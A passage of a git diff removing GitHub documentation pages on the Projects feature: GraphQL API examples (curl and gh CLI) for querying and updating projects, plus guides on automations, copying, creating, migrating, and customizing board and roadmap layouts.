`NUMBER` with your project number. To find the project number, look at the project URL. For example, `https://github.com/users/octocat/projects/5` has a project number of 5. - -{% curl %} - -```shell -curl --request POST \ - --url https://api.github.com/graphql \ - --header 'Authorization: Bearer TOKEN' \ - --data '{"query":"query{user(login: \"USER\") {projectV2(number: NUMBER){id}}}"}' -``` - -{% endcurl %} - -{% cli %} - -```shell -gh api graphql -f query=' - query{ - user(login: "USER"){ - projectV2(number: NUMBER) { - id - } - } - }' -``` - -{% endcli %} - -You can also find the node ID for all of your projects. The following example will return the node ID and title of your first 20 projects. Replace `USER` with your username. For example, `octocat`. - -{% curl %} - -```shell -curl --request POST \ - --url https://api.github.com/graphql \ - --header 'Authorization: Bearer TOKEN' \ - --data '{"query":"{user(login: \"USER\") {projectsV2(first: 20) {nodes {id title}}}}"}' -``` - -{% endcurl %} - -{% cli %} - -```shell -gh api graphql -f query=' - query{ - user(login: "USER") { - projectsV2(first: 20) { - nodes { - id - title - } - } - } - }' -``` - -{% endcli %} - -### Finding the node ID of a field - -To update the value of a field, you will need to know the node ID of the field. Additionally, you will need to know the ID of the options for single select fields and the ID of the iterations for iteration fields. - -The following example will return the ID, name, settings, and configuration for the first 20 fields in a project. Replace `PROJECT_ID` with the node ID of your project. - -{% curl %} - -```shell -curl --request POST \ - --url https://api.github.com/graphql \ - --header 'Authorization: Bearer TOKEN' \ - --data '{"query":"query{ node(id: \"PROJECT_ID\") { ... on ProjectV2 { fields(first: 20) { nodes { ... on ProjectV2Field { id name } ... on ProjectV2IterationField { id name configuration { iterations { startDate id }}} ... on ProjectV2SingleSelectField { id name options { id name }}}}}}}"}' -``` - -{% endcurl %} - -{% cli %} - -```shell -gh api graphql -f query=' - query{ - node(id: "PROJECT_ID") { - ... on ProjectV2 { - fields(first: 20) { - nodes { - ... on ProjectV2Field { - id - name - } - ... on ProjectV2IterationField { - id - name - configuration { - iterations { - startDate - id - } - } - } - ... on ProjectV2SingleSelectField { - id - name - options { - id - name - } - } - } - } - } - } -}' -``` - -{% endcli %} - -The response will look similar to the following example: - -```json -{ - "data": { - "node": { - "fields": { - "nodes": [ - { - "id": "PVTF_lADOANN5s84ACbL0zgBZrZY", - "name": "Title" - }, - { - "id": "PVTF_lADOANN5s84ACbL0zgBZrZc", - "name": "Assignees" - }, - { - "id": "PVTSSF_lADOANN5s84ACbL0zgBZrZg", - "name": "Status", - "options": [ - { - "id": "f75ad846", - "name": "Todo" - }, - { - "id": "47fc9ee4", - "name": "In Progress" - }, - { - "id": "98236657", - "name": "Done" - } - ] - }, - { - "id": "PVTIF_lADOANN5s84ACbL0zgBah28", - "name": "Iteration", - "configuration": { - "iterations": [ - { - "startDate": "2022-05-29", - "id": "cfc16e4d" - } - ] - } - } - ] - } - } - } -} -``` - -Each field has an ID and name. Single select fields are returned as a `ProjectV2SingleSelectField` object and have an `options` field where you can find the ID of each option for the single select. Iteration fields are returned as a `ProjectV2IterationField` object and have a `configuration` field which includes an `iterations` field containing the ID and information about each iteration. - -If you just need the name and ID of a field, and do not need information about iterations or a single select field's options, you can make use of the `ProjectV2FieldCommon` object. - -{% curl %} - -```shell -curl --request POST \ - --url https://api.github.com/graphql \ - --header 'Authorization: Bearer TOKEN' \ - --data '{"query":"query{ node(id: \"PROJECT_ID\") { ... on ProjectV2 { fields(first: 20) { nodes { ... on ProjectV2FieldCommon { id name }}}}}}"}' -``` - -{% endcurl %} - -{% cli %} - -```shell -gh api graphql -f query=' - query{ - node(id: "PROJECT_ID") { - ... on ProjectV2 { - fields(first: 20) { - nodes { - ... on ProjectV2FieldCommon { - id - name - } - } - } - } - } -}' -``` - -{% endcli %} - -The response when using the `ProjectV2FieldCommon` object will look similar to the following example: - -```json -{ - "data": { - "node": { - "fields": { - "nodes": [ - { - "__typename": "ProjectV2Field", - "id": "PVTF_lADOANN5s84ACbL0zgBZrZY", - "name": "Title" - }, - { - "__typename": "ProjectV2Field", - "id": "PVTF_lADOANN5s84ACbL0zgBZrZc", - "name": "Assignees" - }, - { - "__typename": "ProjectV2SingleSelectField", - "id": "PVTSSF_lADOANN5s84ACbL0zgBZrZg", - "name": "Status" - }, - { - "__typename": "ProjectV2IterationField", - "id": "PVTIF_lADOANN5s84ACbL0zgBah28", - "name": "Iteration" - } - ] - } - } - } -} -``` - -### Finding information about items in a project - -You can query the API to find information about items in your project. - -The following example will return the first 20 issues, pull requests, and draft issues in a project. For issues and pull requests, it will also return title and the first 10 assignees. For draft issue, it will return the title and body. The example will also return the field name and value for any text, date, or single select fields in the first 8 fields of the project. Replace `PROJECT_ID` with the node ID of your project. - -{% curl %} - -```shell -curl --request POST \ - --url https://api.github.com/graphql \ - --header 'Authorization: Bearer TOKEN' \ - --data '{"query":"query{ node(id: \"PROJECT_ID\") { ... on ProjectV2 { items(first: 20) { nodes{ id fieldValues(first: 8) { nodes{ ... on ProjectV2ItemFieldTextValue { text field { ... on ProjectV2FieldCommon { name }}} ... on ProjectV2ItemFieldDateValue { date field { ... on ProjectV2FieldCommon { name } } } ... on ProjectV2ItemFieldSingleSelectValue { name field { ... on ProjectV2FieldCommon { name }}}}} content{ ... on DraftIssue { title body } ...on Issue { title assignees(first: 10) { nodes{ login }}} ...on PullRequest { title assignees(first: 10) { nodes{ login }}}}}}}}}"}' -``` - -{% endcurl %} - -{% cli %} - -```shell -gh api graphql -f query=' - query{ - node(id: "PROJECT_ID") { - ... on ProjectV2 { - items(first: 20) { - nodes{ - id - fieldValues(first: 8) { - nodes{ - ... on ProjectV2ItemFieldTextValue { - text - field { - ... on ProjectV2FieldCommon { - name - } - } - } - ... on ProjectV2ItemFieldDateValue { - date - field { - ... on ProjectV2FieldCommon { - name - } - } - } - ... on ProjectV2ItemFieldSingleSelectValue { - name - field { - ... on ProjectV2FieldCommon { - name - } - } - } - } - } - content{ - ... on DraftIssue { - title - body - } - ...on Issue { - title - assignees(first: 10) { - nodes{ - login - } - } - } - ...on PullRequest { - title - assignees(first: 10) { - nodes{ - login - } - } - } - } - } - } - } - } - }' -``` - -{% endcli %} - -A project may contain items that a user does not have permission to view. In this case, the item type will be returned as `REDACTED`. - -## Updating projects - -Use mutations to update projects. For more information, see [AUTOTITLE](/graphql/guides/forming-calls-with-graphql#about-mutations). - -> [!NOTE] -> You cannot add and update an item in the same call. You must use `addProjectV2ItemById` to add the item and then use `updateProjectV2ItemFieldValue` to update the item. - -### Adding an item to a project - -The following example will add an issue or pull request to your project. Replace `PROJECT_ID` with the node ID of your project. Replace `CONTENT_ID` with the node ID of the issue or pull request that you want to add. - -{% curl %} - -```shell -curl --request POST \ - --url https://api.github.com/graphql \ - --header 'Authorization: Bearer TOKEN' \ - --data '{"query":"mutation {addProjectV2ItemById(input: {projectId: \"PROJECT_ID\" contentId: \"CONTENT_ID\"}) {item {id}}}"}' -``` - -{% endcurl %} - -{% cli %} - -```shell -gh api graphql -f query=' - mutation { - addProjectV2ItemById(input: {projectId: "PROJECT_ID" contentId: "CONTENT_ID"}) { - item { - id - } - } - }' -``` - -{% endcli %} - -The response will contain the node ID of the newly created item. - -```json -{ - "data": { - "addProjectV2ItemById": { - "item": { - "id": "PVTI_lADOANN5s84ACbL0zgBVd94" - } - } - } -} -``` - -If you try to add an item that already exists, the existing item ID is returned instead. - -### Adding a draft issue to a project - -The following example will add a draft issue to your project. Replace `PROJECT_ID` with the node ID of your project. Replace `TITLE` and `BODY` with the content you want for the new draft issue. - -{% curl %} - -```shell -curl --request POST \ - --url https://api.github.com/graphql \ - --header 'Authorization: Bearer TOKEN' \ - --data '{"query":"mutation {addProjectV2DraftIssue(input: {projectId: \"PROJECT_ID\" title: \"TITLE\" body: \"BODY\"}) {projectItem {id}}}"}' -``` - -{% endcurl %} - -{% cli %} - -```shell -gh api graphql -f query=' - mutation { - addProjectV2DraftIssue(input: {projectId: "PROJECT_ID" title: "TITLE" body: "BODY"}) { - projectItem { - id - } - } - }' -``` - -{% endcli %} - -The response will contain the node ID of the newly created draft issue. - -```json -{ - "data": { - "addProjectV2DraftIssue": { - "projectItem": { - "id": "PVTI_lADOANN5s84ACbL0zgBbxFc" - } - } - } -} -``` - -### Updating a project's settings - -The following example will update your project's settings. Replace `PROJECT_ID` with the node ID of your project. Set `public` to `true` to make your project public on {% data variables.product.github %}. Modify `readme` to make changes to your project's README. - -{% curl %} - -```shell -curl --request POST \ ---url https://api.github.com/graphql \ ---header 'Authorization: Bearer TOKEN' \ ---data '{"query":"mutation { updateProjectV2(input: { projectId: \"PROJECT_ID\", title: \"Project title\", public: false, readme: \"# Project README\n\nA long description\", shortDescription: \"A short description\"}) { projectV2 { id, title, readme, shortDescription }}}"}' -``` - -{% endcurl %} - -{% cli %} - -```shell -gh api graphql -f query=' - mutation { - updateProjectV2( - input: { - projectId: "PROJECT_ID", - title: "Project title", - public: false, - readme: "# Project README\n\nA long description", - shortDescription: "A short description" - } - ) { - projectV2 { - id - title - readme - shortDescription - } - } - }' -``` - -{% endcli %} - -### Updating a custom text, number, or date field - -The following example will update the value of a text field for an item. Replace `PROJECT_ID` with the node ID of your project. Replace `ITEM_ID` with the node ID of the item you want to update. Replace `FIELD_ID` with the ID of the field that you want to update. - -{% curl %} - -```shell -curl --request POST \ - --url https://api.github.com/graphql \ - --header 'Authorization: Bearer TOKEN' \ - --data '{"query":"mutation {updateProjectV2ItemFieldValue( input: { projectId: \"PROJECT_ID\" itemId: \"ITEM_ID\" fieldId: \"FIELD_ID\" value: { text: \"Updated text\" }}) { projectV2Item { id }}}"}' -``` - -{% endcurl %} - -{% cli %} - -```shell -gh api graphql -f query=' - mutation { - updateProjectV2ItemFieldValue( - input: { - projectId: "PROJECT_ID" - itemId: "ITEM_ID" - fieldId: "FIELD_ID" - value: { - text: "Updated text" - } - } - ) { - projectV2Item { - id - } - } - }' -``` - -{% endcli %} - -> [!NOTE] -> You cannot use `updateProjectV2ItemFieldValue` to change `Assignees`, `Labels`, `Milestone`, or `Repository` because these fields are properties of pull requests and issues, not of project items. Instead, you may use the following mutations: -> -> * [addAssigneesToAssignable](/graphql/reference/mutations#addassigneestoassignable) -> * [removeAssigneesFromAssignable](/graphql/reference/mutations#removeassigneesfromassignable) -> * [addLabelsToLabelable](/graphql/reference/mutations#addlabelstolabelable) -> * [removeLabelsFromLabelable](/graphql/reference/mutations#removelabelsfromlabelable) -> * [updateIssue](/graphql/reference/mutations#updateissue) -> * [updatePullRequest](/graphql/reference/mutations#updatepullrequest) -> * [transferIssue](/graphql/reference/mutations#transferissue) - -### Updating a single select field - -The following example will update the value of a single select field for an item. - -* `PROJECT_ID` - Replace this with the node ID of your project. -* `ITEM_ID` - Replace this with the node ID of the item you want to update. -* `FIELD_ID` - Replace this with the ID of the single select field that you want to update. -* `OPTION_ID` - Replace this with the ID of the desired single select option. - -{% curl %} - -```shell -curl --request POST \ - --url https://api.github.com/graphql \ - --header 'Authorization: Bearer TOKEN' \ - --data '{"query":"mutation {updateProjectV2ItemFieldValue( input: { projectId: \"PROJECT_ID\" itemId: \"ITEM_ID\" fieldId: \"FIELD_ID\" value: { singleSelectOptionId: \"OPTION_ID\" }}) { projectV2Item { id }}}"}' -``` - -{% endcurl %} - -{% cli %} - -```shell -gh api graphql -f query=' - mutation { - updateProjectV2ItemFieldValue( - input: { - projectId: "PROJECT_ID" - itemId: "ITEM_ID" - fieldId: "FIELD_ID" - value: { - singleSelectOptionId: "OPTION_ID" - } - } - ) { - projectV2Item { - id - } - } - }' -``` - -{% endcli %} - -### Updating an iteration field - -The following example will update the value of an iteration field for an item. - -* `PROJECT_ID` - Replace this with the node ID of your project. -* `ITEM_ID` - Replace this with the node ID of the item you want to update. -* `FIELD_ID` - Replace this with the ID of the iteration field that you want to update. -* `ITERATION_ID` - Replace this with the ID of the desired iteration. This can be either an active or completed iteration. - -{% curl %} - -```shell -curl --request POST \ - --url https://api.github.com/graphql \ - --header 'Authorization: Bearer TOKEN' \ - --data '{"query":"mutation {updateProjectV2ItemFieldValue( input: { projectId: \"PROJECT_ID\" itemId: \"ITEM_ID\" fieldId: \"FIELD_ID\" value: { iterationId: \"ITERATION_ID\" }}) { projectV2Item { id }}}"}' -``` - -{% endcurl %} - -{% cli %} - -```shell -gh api graphql -f query=' - mutation { - updateProjectV2ItemFieldValue( - input: { - projectId: "PROJECT_ID" - itemId: "ITEM_ID" - fieldId: "FIELD_ID" - value: { - iterationId: "ITERATION_ID" - } - } - ) { - projectV2Item { - id - } - } - }' -``` - -{% endcli %} - -### Deleting an item from a project - -The following example will delete an item from a project. Replace `PROJECT_ID` with the node ID of your project. Replace `ITEM_ID` with the node ID of the item you want to delete. - -{% curl %} - -```shell -curl --request POST \ - --url https://api.github.com/graphql \ - --header 'Authorization: Bearer TOKEN' \ - --data '{"query":"mutation {deleteProjectV2Item(input: {projectId: \"PROJECT_ID\" itemId: \"ITEM_ID\"}) {deletedItemId}}"}' -``` - -{% endcurl %} - -{% cli %} - -```shell -gh api graphql -f query=' - mutation { - deleteProjectV2Item( - input: { - projectId: "PROJECT_ID" - itemId: "ITEM_ID" - } - ) { - deletedItemId - } - }' -``` - -{% endcli %} - -## Managing projects - -### Creating projects - -You can use a mutation to create a new project. For more information, see [AUTOTITLE](/graphql/guides/forming-calls-with-graphql#about-mutations). - -To create a new project using the API, you'll need to provide a name for the project and the node ID of a {% data variables.product.github %} user or organization who will become the project's owner. - -You can find the node ID of a {% data variables.product.github %} user or organization if you know the username. Replace GITHUB_OWNER with the {% data variables.product.github %} username of the new project owner. - -{% curl %} - -```shell -curl --request GET \ - --url https://api.github.com/users/GITHUB_OWNER \ - --header 'Authorization: token TOKEN' \ - --header 'Accept: application/vnd.github+json' -``` - -{% endcurl %} - -{% cli %} - -```shell -gh api -H "Accept: application/vnd.github+json" /users/GITHUB_OWNER -``` - -{% endcli %} - -To create the project, replace `OWNER_ID` with the node ID of the new project owner and replace `PROJECT_NAME` with a name for the project. - -{% curl %} - -```shell -curl --request POST \ - --url https://api.github.com/graphql \ - --header 'Authorization: token TOKEN' \ - --data '{"query":"mutation {createProjectV2(input: {ownerId: \"OWNER_ID\" title: \"PROJECT_NAME\"}) {projectV2 {id}}}"}' -``` - -{% endcurl %} - -{% cli %} - -```shell -gh api graphql -f query=' - mutation{ - createProjectV2( - input: { - ownerId: "OWNER_ID", - title: "PROJECT_NAME" - } - ){ - projectV2 { - id - } - } - }' -``` - -{% endcli %} - -## Using webhooks - -You can use webhooks to subscribe to events taking place in your project. For example, when an item is edited, {% data variables.product.github %} can send a HTTP POST payload to the webhook's configured URL which can trigger automation on your server. For more information about webhooks, see [AUTOTITLE](/webhooks-and-events/webhooks/about-webhooks). To learn more about the `projects_v2_item` webhook event, see [AUTOTITLE](/webhooks-and-events/webhooks/webhook-events-and-payloads#projects_v2_item). diff --git a/content/issues/planning-and-tracking-with-projects/automating-your-project/using-the-built-in-automations.md b/content/issues/planning-and-tracking-with-projects/automating-your-project/using-the-built-in-automations.md deleted file mode 100644 index 947810402999..000000000000 --- a/content/issues/planning-and-tracking-with-projects/automating-your-project/using-the-built-in-automations.md +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: Using the built-in automations -shortTitle: Using built-in automations -intro: You can use built-in workflows to automate your projects. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: tutorial -topics: - - Projects ---- - - -{% ifversion ghes %} - -{% data reusables.projects.enable_enterprise_workflows %} - -{% endif %} - -{% data variables.product.prodname_projects_v2 %} includes built-in workflows that you can use to update the **Status** of items based on certain events. For example, you can automatically set the status to **Todo** when an item is added to your project{% ifversion projects-v2-auto-close %}, close issues when the issue's status in your project is changed,{% endif %} or set the status to **Done** when an issue is closed. - -When your project initializes, two workflows are enabled by default: When issues or pull requests in your project are closed, their status is set to **Done**, and when pull requests in your project are merged, their status is set to **Done**. - -You can also configure workflows to automatically archive items when they meet set criteria and to automatically add items from a repository when they match a filter. For more information, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/automating-your-project/archiving-items-automatically) and [AUTOTITLE](/issues/planning-and-tracking-with-projects/automating-your-project/adding-items-automatically). - -## Enabling a built-in workflow - -You can enable or disable the built-in workflows for your project. - -{% data reusables.projects.access-workflows %} -1. Under "Default workflows", click on the workflow that you want to edit. -1. In the top right, click **Edit**. - - ![Screenshot showing a project's menu bar. The "Edit" button is highlighted with an orange rectangle.](/assets/images/help/projects-v2/workflow-start-editing.png) - -1. Depending on the workflow you have selected, make changes to the fields to configure the workflow's behavior. -1. To save your changes and enable the workflow, click **Save and turn on workflow**. diff --git a/content/issues/planning-and-tracking-with-projects/creating-projects/copying-an-existing-project.md b/content/issues/planning-and-tracking-with-projects/creating-projects/copying-an-existing-project.md deleted file mode 100644 index e822aa0f71a3..000000000000 --- a/content/issues/planning-and-tracking-with-projects/creating-projects/copying-an-existing-project.md +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: 'Copying an existing {% data variables.projects.project_v2 %}' -shortTitle: Copying a project -intro: You can use an existing project as a template by copying it. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: tutorial -topics: - - Projects -allowTitleToDifferFromFilename: true ---- - -## About copying projects - -You can copy an existing project and use it as a template to save time configuring your views and custom fields. - -When you copy a project, the new project will contain the same {% data reusables.projects.what-gets-copied %}. The new project will not contain the original project's items, collaborators, or team and repository links. - -{% data reusables.projects.org-templates %} - -## Copying an existing project - -1. Navigate to the project you want to copy. -1. In the top-right, click {% octicon "kebab-horizontal" aria-label="More options" %} to open the menu. - - ![Screenshot showing a project's menu bar. The menu icon is highlighted with an orange outline.](/assets/images/help/projects-v2/open-menu.png) - -1. In the menu, click **{% octicon "copy" aria-hidden="true" %} Make a copy**. -1. Optionally, if you want all draft issues to be copied with the project, in the "Make a copy" dialog, select **Draft issues will be copied if selected**. -1. Under "Owner", select either the organization that will own the new project or your personal account. -1. Under "New project name", type the name of the new project. -1. Click **Copy project**. diff --git a/content/issues/planning-and-tracking-with-projects/creating-projects/creating-a-project.md b/content/issues/planning-and-tracking-with-projects/creating-projects/creating-a-project.md deleted file mode 100644 index 856a768277f6..000000000000 --- a/content/issues/planning-and-tracking-with-projects/creating-projects/creating-a-project.md +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: 'Creating a {% data variables.projects.project_v2 %}' -intro: Learn how to create an organization or user project. -versions: - fpt: '*' - ghec: '*' - ghes: '*' -redirect_from: - - /issues/trying-out-the-new-projects-experience/creating-a-project -type: tutorial -topics: - - Projects -allowTitleToDifferFromFilename: true ---- - -{% data variables.product.prodname_projects_v2 %} are an adaptable collection of items that stay up-to-date with {% data variables.product.company_short %} data. Your projects can track issues, pull requests, and ideas that you note down. You can add custom fields and create views for specific purposes. - -You can also choose to use an existing project as a template and copy the views and custom fields to a new project. For more information, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/creating-projects/copying-an-existing-project). - -## Creating a project - -### Creating an organization project - -Organization projects can track issues and pull requests from the organization's repositories. {% data reusables.projects.org-templates %} - -{% data reusables.projects.create-project %} - -### Creating a user project - -User projects can track issues and pull requests from the repositories owned by your personal account. - -{% data reusables.projects.create-user-project %} - -## Updating your project description and README - -{% data reusables.projects.project-description %} - -## Further reading - -* [AUTOTITLE](/issues/planning-and-tracking-with-projects/managing-your-project/adding-your-project-to-a-repository) -* [AUTOTITLE](/issues/planning-and-tracking-with-projects/managing-items-in-your-project/adding-items-to-your-project) -* [AUTOTITLE](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/changing-the-layout-of-a-view) diff --git a/content/issues/planning-and-tracking-with-projects/creating-projects/index.md b/content/issues/planning-and-tracking-with-projects/creating-projects/index.md deleted file mode 100644 index 98838063c8c7..000000000000 --- a/content/issues/planning-and-tracking-with-projects/creating-projects/index.md +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: 'Creating {% data variables.projects.projects_v2 %}' -shortTitle: 'Creating {% data variables.projects.projects_v2 %}' -intro: 'Learn about creating projects and migrating your {% data variables.projects.projects_v1_boards %}.' -versions: - feature: projects-v2 -topics: - - Issues - - Projects -children: - - /creating-a-project - - /copying-an-existing-project - - /migrating-from-projects-classic -allowTitleToDifferFromFilename: true ---- - diff --git a/content/issues/planning-and-tracking-with-projects/creating-projects/migrating-from-projects-classic.md b/content/issues/planning-and-tracking-with-projects/creating-projects/migrating-from-projects-classic.md deleted file mode 100644 index 46e05ea594dd..000000000000 --- a/content/issues/planning-and-tracking-with-projects/creating-projects/migrating-from-projects-classic.md +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: 'Migrating from {% data variables.product.prodname_projects_v1 %}' -intro: 'You can migrate your {% data variables.projects.projects_v1_board %} to the new {% data variables.product.prodname_projects_v2 %} experience.' -versions: - feature: projects-v2-migration -redirect_from: - - /issues/trying-out-the-new-projects-experience/migrating-your-project -type: tutorial -topics: - - Projects -allowTitleToDifferFromFilename: true ---- - -> [!NOTE] -> * If the project you are migrating contains more than {% data variables.projects.item_limit %} items, open issues will be prioritized followed by open pull requests and then notes. Remaining space will be used for closed issues, merged pull requested, and closed pull requests. Items that cannot be migrated due to this limit will be moved to the archive. If the archive limit of {% data variables.projects.archived_item_limit %} items is reached, additional items will not be migrated. -> * Note cards are converted to draft issues, and the contents are saved to the body of the draft issue. If information appears to be missing, make any hidden fields visible. For more information, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/changing-the-layout-of-a-view#showing-and-hiding-fields). -> * Automation will not be migrated. -> * Triage, archive, and activity will not be migrated. -> * After migration, the new migrated project and old project will not be kept in sync. -> * {% data reusables.projects.migration-permissions-warning %} - -## About project migration - -You can migrate your {% data variables.projects.projects_v1_boards %} to the new {% data variables.product.prodname_projects_v2 %} experience and try out tables, multiple views, new automation options, and powerful field types. For more information, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/learning-about-projects/about-projects). - -## Migrating an organization {% data variables.projects.projects_v1_board %} - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.organization-wide-project %} -1. In the left sidebar, click **Projects (classic)**. -{% data reusables.projects.migrate-project-steps %} - -## Migrating a user {% data variables.projects.projects_v1_board %} - -1. In the upper-right corner of {% data variables.product.prodname_dotcom %}, select your profile photo, then click **Your projects**. - - ![Screenshot showing the profile photo menu. The "Your projects" link is highlighted with an orange outline.](/assets/images/help/projects-v2/projects-profile-menu.png) - -1. On the top of your profile page, in the main navigation, click **{% octicon "table" aria-hidden="true" %} Projects**. - ![Screenshot showing the tabs on a user profile. The 'Projects' tab is highlighted with an orange outline.](/assets/images/help/projects-v2/tab-projects.png) -1. Above the list of projects, click **Projects (classic)**. -{% data reusables.projects.migrate-project-steps %} - -## Migrating a repository {% data variables.projects.projects_v1_board %} - -> [!NOTE] -> {% data variables.projects.projects_v2_caps %} does not support repository level projects. When you migrate a repository {% data variables.projects.projects_v1_board %}, it will migrate to either the organization or personal account that owns the repository project, and the migrated project will be pinned to the original repository. - -{% data reusables.repositories.navigate-to-repo %} -1. Under your repository name, click **{% octicon "table" aria-hidden="true" %} Projects**. -1. In the left sidebar, click **Projects (classic)**. -{% data reusables.projects.migrate-project-steps %} diff --git a/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/changing-the-layout-of-a-view.md b/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/changing-the-layout-of-a-view.md deleted file mode 100644 index 289d489bfd1e..000000000000 --- a/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/changing-the-layout-of-a-view.md +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: Changing the layout of a view -shortTitle: Changing the layout -intro: 'You can view your project as a high-density table, as a kanban board, or as a timeline-style roadmap.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -redirect_from: - - /issues/trying-out-the-new-projects-experience/customizing-your-project-views - - /issues/planning-and-tracking-with-projects/customizing-views-in-your-project/customizing-a-view -type: tutorial -topics: - - Projects ---- - -## About the table layout - -{% data reusables.projects.about-table-layout %} For more information, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/customizing-the-table-layout). - -![Screenshot showing an example table layout.](/assets/images/help/projects-v2/example-table.png) - -## About the board layout - -{% data reusables.projects.about-board-layout %} For more information, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/customizing-the-board-layout). - -![Screenshot showing an example board layout.](/assets/images/help/projects-v2/example-board.png) - -## About the roadmap layout - -{% data reusables.projects.about-roadmap-layout %} For more information, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/customizing-the-roadmap-layout). - -![Screenshot showing an example roadmap layout.](/assets/images/help/projects-v2/example-roadmap.png) - -## Changing the project layout - -You can set each view in your project to a different layout. - -{% data reusables.projects.open-view-menu %} - -1. Under "Layout", click either **Table**, **Board** or **Roadmap**. diff --git a/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/customizing-the-board-layout.md b/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/customizing-the-board-layout.md deleted file mode 100644 index 128d89002a46..000000000000 --- a/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/customizing-the-board-layout.md +++ /dev/null @@ -1,78 +0,0 @@ ---- -title: Customizing the board layout -shortTitle: Customizing boards -intro: You can use the board layout to arrange your project's items over customizable columns. -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: tutorial -topics: - - Projects ---- - -## About the board layout - -{% data reusables.projects.about-board-layout %} - -For more information about changing a view to use the board layout, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/changing-the-layout-of-a-view#changing-the-project-layout). - -## Setting a limit on the number of items in a column - -You can set a limit for the number of cards in a particular column in a board layout. Setting a limit does not restrict anyone from adding cards that would exceed the column's limit, nor does it restrict any automations from adding cards. Column limits are unique to each view in your project. - -The current count of cards and the column's limit is displayed at the top of the column and is highlighted when the current count exceeds the limit. You can use column limits to communicate how you want the column to be used and to make clear at which point action needs to be taken to reduce the number of the cards in the column. - -1. Click {% octicon "kebab-horizontal" aria-label="Column context menu" %} next to the name of the column you want to modify. - ![Screenshot showing a top of a column in the table layout. The column context menu button is highlighted with an orange outline.](/assets/images/help/projects-v2/board-column-menu.png) -1. In the menu, click **{% octicon "number" aria-hidden="true" %} Set column limit**. -1. Under "Column limit", type the card limit for this column. -1. Optionally, to remove the limit, clear the entry. -1. Click **Save**. - -## Showing and hiding fields - -{% data reusables.projects.customize.show-hide-field %} - -## Setting the column field in board layout - -In the board layout, you choose any single select or iteration field for your columns. If you drag an item to a new column, the value of that column is applied to the dragged item. For example, if you use the "Status" field for your board columns and then drag an item with a status of `In progress` to the `Done` column, the status of the item will switch to `Done`. - -{% data reusables.projects.open-view-menu %} -1. Click **{% octicon "columns" aria-hidden="true" %} Column field**. -1. Click the field you want to use. - -## Showing and hiding columns in board layout - -In the board layout, you can choose which columns to display. The available columns are made up of the contents of your selected column field. - -1. In the board layout, scroll to the right of your columns, and click {% octicon "plus" aria-label="Add a new column to the board" %}. - - ![Screenshot of a board layout scrolled to the very right. The "Add a new column to the board" button is highlighted with an orange outline.](/assets/images/help/projects-v2/board-add-column.png) - -1. Select the columns you want to show. - -## Slicing by field values - -{% data reusables.projects.customize.slice-panel %} - -## Sorting by field values - -You can sort items by a field value. - -> [!NOTE] -> When a board is sorted, you cannot manually reorder items within a column. You can continue to move items from column to column. - -{% data reusables.projects.customize.sort %} - -## Grouping by field values - -You can use a custom field value to group items and create horizontal sections on your board. These sections provide an additional way to organize and visually separate items. Additionally, horizontal grouping allows you to differentiate work according to work streams, team members, or varying levels of urgency or priority. - -{% data reusables.projects.customize.update-status %} - -{% data reusables.projects.customize.group-fields %} - -## Showing the sum of a number field - -{% data reusables.projects.customize.sum %} diff --git a/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/customizing-the-roadmap-layout.md b/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/customizing-the-roadmap-layout.md deleted file mode 100644 index b139f6c9e6e7..000000000000 --- a/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/customizing-the-roadmap-layout.md +++ /dev/null @@ -1,69 +0,0 @@ ---- -title: Customizing the roadmap layout -shortTitle: Customizing roadmaps -intro: You can use the roadmap layout to view your project's items on a timeline. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: tutorial -topics: - - Projects ---- - -## About the roadmap layout - -{% data reusables.projects.about-roadmap-layout %} - -For more information about changing a view to use the roadmap layout, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/changing-the-layout-of-a-view#changing-the-project-layout). - -## Setting the start and target date fields - -You can set the date or iteration fields that your roadmap will use to position items. When you set a view to a roadmap layout, {% data variables.product.company_short %} will attempt to use existing date and iteration fields you have already set up. For more information on creating new fields, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/understanding-fields/about-date-fields) and [AUTOTITLE](/issues/planning-and-tracking-with-projects/understanding-fields/about-iteration-fields). - -1. In the top right of your roadmap, click **{% octicon "calendar" aria-hidden="true" %} Date fields**. - - ![Screenshot showing the menu items for a roadmap layout. The "Date fields" button is highlighted with an orange rectangle.](/assets/images/help/projects-v2/roadmap-menu-dates.png) - -1. Optionally, to create a new date or iteration field, click **{% octicon "plus" aria-hidden="true" %} New field**, type the name of your field, and click **Save**. You can then select the new field or create another. -1. Select a date or iteration field for "Start date" and "Target date." - -## Setting vertical markers - -You can configure vertical markers on a roadmap to show your iterations, the dates of items in your project, and the milestones associated with items in your project. - -1. In the top right of your roadmap, click **{% octicon "location" aria-hidden="true" %} Markers**. - - ![Screenshot showing the menu bar in a roadmap layout. The "Markers" button is highlighted with an orange outline.](/assets/images/help/projects-v2/markers.png) - -1. In the menu, select which markers you want to display on your roadmap. - -## Setting the zoom level - -You can choose the density of items on your 